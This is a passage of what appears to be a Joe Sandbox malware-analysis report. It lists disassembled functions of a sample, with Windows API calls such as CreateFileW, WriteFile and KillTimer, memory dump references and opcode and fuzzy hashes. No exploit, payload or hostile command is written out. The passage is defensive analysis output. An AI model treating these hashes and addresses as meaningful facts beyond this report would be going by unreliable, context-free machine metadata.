                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 9293fec55fd0b2e25b3ec518080e30063d82777f0bb53deec429a87ee81b0be5
                                                                                                                                                                                                                                                                    • Instruction ID: 673d530f7385b1cd836ddceb2280b463096c1117c9f61a50282da8327c2054ca
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9293fec55fd0b2e25b3ec518080e30063d82777f0bb53deec429a87ee81b0be5
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 85E01275A04114EFC714EF9AD845F9EBBB8FF58364F50886EF40AD7241CB79A900CA68
                                                                                                                                                                                                                                                                    Function 00414D95 Relevance: 1.5, APIs: 1, Instructions: 24timeCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • KillTimer.USER32(00008001,?), ref: 00414DAE
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: KillTimer
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 729406807-0
                                                                                                                                                                                                                                                                    • Opcode ID: 04c56628bec375cdbd6cb3c6c03957bbcfd609b8d4e35355ffdcc26e79013b05
                                                                                                                                                                                                                                                                    • Instruction ID: 0281bd56039278f8e4ce4ebaa4f9b59466ad7ed3c5e48c7ad7fcd7fdc1cd8f27
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 04c56628bec375cdbd6cb3c6c03957bbcfd609b8d4e35355ffdcc26e79013b05
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 33F0A031118741DBCF328B10D844BDFBBA2BFC0315F10082EF09615190C77918A5DB56
                                                                                                                                                                                                                                                                    Function 00416F04 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00416F09
                                                                                                                                                                                                                                                                      • Part of subcall function 004173EE: __EH_prolog.LIBCMT ref: 004173F3
                                                                                                                                                                                                                                                                      • Part of subcall function 0041739D: __EH_prolog.LIBCMT ref: 004173A2
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 2d73050f8d0823bbc0251579f6705bce57e9327fa3a240e7b684d620c5d90455
                                                                                                                                                                                                                                                                    • Instruction ID: 0644046670fde9dda21405c20354b5f5ce52db1214769694ba9cef067bf01aa2
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2d73050f8d0823bbc0251579f6705bce57e9327fa3a240e7b684d620c5d90455
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3CE0E531A00634CADB18EB58D4163ECB770AF08328F00425EA827932C1CB786A00D698
                                                                                                                                                                                                                                                                    Function 004045FC Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 00404635: CloseHandle.KERNELBASE(?,?,00404607), ref: 00404640
                                                                                                                                                                                                                                                                    • CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000), ref: 0040461E
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CloseCreateFileHandle
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3498533004-0
                                                                                                                                                                                                                                                                    • Opcode ID: f308e96676010879eaf098f804ca93bd275243095bcecf339b7b316c46e70dcd
                                                                                                                                                                                                                                                                    • Instruction ID: 615d5b8c1d2bbebd60614de447a3fea118cf7407e12d3d0f8751a7e18d78653b
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f308e96676010879eaf098f804ca93bd275243095bcecf339b7b316c46e70dcd
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E1E086321002197BCF215FA49C01BCE3B56AF19360F14052AFB61A61E0D777D572AB98
                                                                                                                                                                                                                                                                    Function 00404811 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00404834
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: FileWrite
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3934441357-0
                                                                                                                                                                                                                                                                    • Opcode ID: b66284758cf875ea0eb3d52af25ea993fc5d38dbbc9fac0c9351a47cf47e9f00
                                                                                                                                                                                                                                                                    • Instruction ID: 96a72ba59c6e40d2d16af0869550f8f34740cca67d08a4a69b303594ce143107
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b66284758cf875ea0eb3d52af25ea993fc5d38dbbc9fac0c9351a47cf47e9f00
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C6E06575600208FFCB11CF90D800B8E3BF9FB08324F20C069FA18AA260C339AA54DF48
                                                                                                                                                                                                                                                                    Function 00416053 Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00416058
                                                                                                                                                                                                                                                                      • Part of subcall function 004136C9: __EH_prolog.LIBCMT ref: 004136CE
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 02fc7c27ef6bf50465949960f4c463d27c2f43c18711c3a511be22add40ced92
                                                                                                                                                                                                                                                                    • Instruction ID: 3cf2349011413c5df1fba4ac9d82389228d3ba7247219b1d507bde2df629a517
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 02fc7c27ef6bf50465949960f4c463d27c2f43c18711c3a511be22add40ced92
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 03E09271951624DAC724EF64D4053DCBBB4AF14324F00468FA022632D1CBB81B40C655
                                                                                                                                                                                                                                                                    Function 00415374 Relevance: 1.5, APIs: 1, Instructions: 20windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • PostMessageW.USER32(?,00008001,00000000,00000000), ref: 004153AB
                                                                                                                                                                                                                                                                      • Part of subcall function 00426140: SetEvent.KERNEL32(?,00407A54), ref: 00426143
                                                                                                                                                                                                                                                                      • Part of subcall function 004260F0: WaitForSingleObject.KERNEL32(?,000000FF,00414B20,00000061,00000000,?,?,?,00000000,?,?,?,?,00000000,00000000,00000000), ref: 004260F3
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: EventMessageObjectPostSingleWait
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3033668351-0
                                                                                                                                                                                                                                                                    • Opcode ID: cd63649c8d9fd24934a99ea8c3c405907897e38fe1498460d1d174c1485eed86
                                                                                                                                                                                                                                                                    • Instruction ID: 4776e1579c94d2db4e2c3dbdfc45633d7cd1a418fbe6e5b6d3d7967822e70ad2
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cd63649c8d9fd24934a99ea8c3c405907897e38fe1498460d1d174c1485eed86
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A8E04F30214BA099E7719734FC49BD27B815F45714F05445EE4EA161D1CBE938D4C748
                                                                                                                                                                                                                                                                    Function 00415414 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00415419
                                                                                                                                                                                                                                                                      • Part of subcall function 00415460: __EH_prolog.LIBCMT ref: 00415465
                                                                                                                                                                                                                                                                      • Part of subcall function 00415460: EnterCriticalSection.KERNEL32(?,?,?), ref: 0041559B
                                                                                                                                                                                                                                                                      • Part of subcall function 00415460: LeaveCriticalSection.KERNEL32(?,?,?,?), ref: 004155F8
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalH_prologSection$EnterLeave
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 317552408-0
                                                                                                                                                                                                                                                                    • Opcode ID: ce20585c2e1390c10e04ef4cc328f915fc4de96b13da9fd0b50aa184819be4df
                                                                                                                                                                                                                                                                    • Instruction ID: 94c6438005f68d1862a44929b22691358ccd4dc228c01415cc1609d412b1486d
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ce20585c2e1390c10e04ef4cc328f915fc4de96b13da9fd0b50aa184819be4df
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B8E08C72A10568EFD704ABA8D8027DEB7A8EB95719F00446FE005E3241C3BC690087A8
                                                                                                                                                                                                                                                                    Function 00409472 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00409477
                                                                                                                                                                                                                                                                      • Part of subcall function 004094B1: __EH_prolog.LIBCMT ref: 004094B6
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 0ef950b4334b634068268cc3f873aa8624bf52fdc811460dd8c3b9ac9b2a5464
                                                                                                                                                                                                                                                                    • Instruction ID: 313a0e7ef1289d750be372606332cb18c9b2fa019be48466001e320bed71de12
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0ef950b4334b634068268cc3f873aa8624bf52fdc811460dd8c3b9ac9b2a5464
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 39D012B1A15214BBD7149B49EC02B9EBB78EB40768F50456FF00161241C7BD590086A8
                                                                                                                                                                                                                                                                    Function 00404771 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00404787
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: FileRead
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2738559852-0
                                                                                                                                                                                                                                                                    • Opcode ID: 5df1515875bedd3c83e58b8461d968d386211719c35e5b0019e1da2bdd808035
                                                                                                                                                                                                                                                                    • Instruction ID: 4003fc020f9de39c5eb42a26df6463e231032b8024d01712fd11260babaa06a2
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5df1515875bedd3c83e58b8461d968d386211719c35e5b0019e1da2bdd808035
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: CAE0EC75200208FBCB11CF90CC01F8E7BB9EB49754F208059E915A6160C375AA14EB54
                                                                                                                                                                                                                                                                    Function 00405E12 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00001061,?,?), ref: 00405E3D
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: MessageSend
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3850602802-0
                                                                                                                                                                                                                                                                    • Opcode ID: 164ae8f425abc56fbc857c6c366a6cd0eb2d2d679ece0eda857c8e78f80bdc8a
                                                                                                                                                                                                                                                                    • Instruction ID: cdc53ab37f91f56d0dbb0838b48238b413029ddd79ee80067a6402257e70dd9f
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 164ae8f425abc56fbc857c6c366a6cd0eb2d2d679ece0eda857c8e78f80bdc8a
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4EE092B490020EAFDF00DFA5D845DAEBBB9FB88708F108519E914AB250D3B49A558BA0
                                                                                                                                                                                                                                                                    Function 0041B43F Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0041B444
                                                                                                                                                                                                                                                                      • Part of subcall function 0040209F: malloc.MSVCRT ref: 004020A5
                                                                                                                                                                                                                                                                      • Part of subcall function 0040209F: _CxxThrowException.MSVCRT(?,0042D020), ref: 004020BF
                                                                                                                                                                                                                                                                      • Part of subcall function 00418258: __EH_prolog.LIBCMT ref: 0041825D
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ExceptionThrowmalloc
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3744649731-0
                                                                                                                                                                                                                                                                    • Opcode ID: 0eec3a2b60b515e3e1e39400d42a84af75a84969e8750b1a9320cc0b7140ee68
                                                                                                                                                                                                                                                                    • Instruction ID: 3f92fd2013ba5083d27079e76fa4145bbf5c6b628e85cda2758e96b0041f7a29
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0eec3a2b60b515e3e1e39400d42a84af75a84969e8750b1a9320cc0b7140ee68
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: CFD05E71B002259BCB5CEFB8A5163AD77A0EB84304F00857FA017E27C1DFB849408629
                                                                                                                                                                                                                                                                    Function 00403E17 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • FindClose.KERNELBASE(?,?,00403E48), ref: 00403E22
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CloseFind
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1863332320-0
                                                                                                                                                                                                                                                                    • Opcode ID: 0b5ff1e0dd459b258396480ee930d418aa41ac1bc6d5b0d89da7d7ae49509341
                                                                                                                                                                                                                                                                    • Instruction ID: e47dcc38cac8099089fdc6179b85191dcaebf0d2c1041b3d5eb5b1d21dd16618
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0b5ff1e0dd459b258396480ee930d418aa41ac1bc6d5b0d89da7d7ae49509341
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D2D0C93111416146CA741E3CB8499C337995A1233132117AAF4B5D32E0D3748D834694
                                                                                                                                                                                                                                                                    Function 00414EF0 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 0041325B: EnterCriticalSection.KERNEL32(?,?,?,?,00414F37), ref: 00413267
                                                                                                                                                                                                                                                                      • Part of subcall function 0041325B: LeaveCriticalSection.KERNEL32(?,?,?,00414F37), ref: 00413271
                                                                                                                                                                                                                                                                    • SetDlgItemTextW.USER32(?,000001BE,?), ref: 00414F12
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalSection$EnterItemLeaveText
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3811111623-0
                                                                                                                                                                                                                                                                    • Opcode ID: aa4281d5fa3dc0fc147865a96142263e46f4aa46e7b5777ef9d46ea25fe356cc
                                                                                                                                                                                                                                                                    • Instruction ID: b90ed340d3b79a19933d80cebcc20c24bbcdb6f8033e84cc5cdbad39a460d2ef
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: aa4281d5fa3dc0fc147865a96142263e46f4aa46e7b5777ef9d46ea25fe356cc
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: EDD0A7311007148FCF21BB10E9029DA73E5BF84744B01047FF88397661CB747A9ACB84
                                                                                                                                                                                                                                                                    Function 00414FA9 Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • SetDlgItemTextW.USER32(?,000001BC,?), ref: 00414FC5
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
